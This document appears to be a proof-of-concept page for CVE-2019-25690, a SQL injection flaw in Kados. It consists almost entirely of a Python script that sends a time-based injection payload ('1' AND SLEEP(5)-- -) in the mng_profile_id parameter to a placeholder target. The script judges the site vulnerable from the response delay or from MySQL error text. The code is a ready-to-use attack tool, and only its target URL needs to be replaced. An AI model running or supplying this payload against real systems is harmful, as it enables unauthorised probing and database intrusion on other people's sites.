CVE-2019-25690 Kados SQL注入漏洞

import requests def check_sqli(url): # Payload to test SQL Injection in mng_profile_id parameter # Attempting to cause a time delay or extract version info payload = "1' AND SLEEP(5)-- -" params = { "mng_profile_id": payload } try: print(f"[+] Sending request to {url} with payload: {payload}") response = requests.get(url, params=params, timeout=10) # Check if response time indicates successful injection (Time-based) # Or check for specific SQL errors in response content if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection vulnerability confirmed (Time-based).") elif "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[!] Potential SQL Injection vulnerability confirmed (Error-based).") else: print("[-] Vulnerability not confirmed or payload filtered.") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com/vulnerable_page" # Replace with actual target check_sqli(target)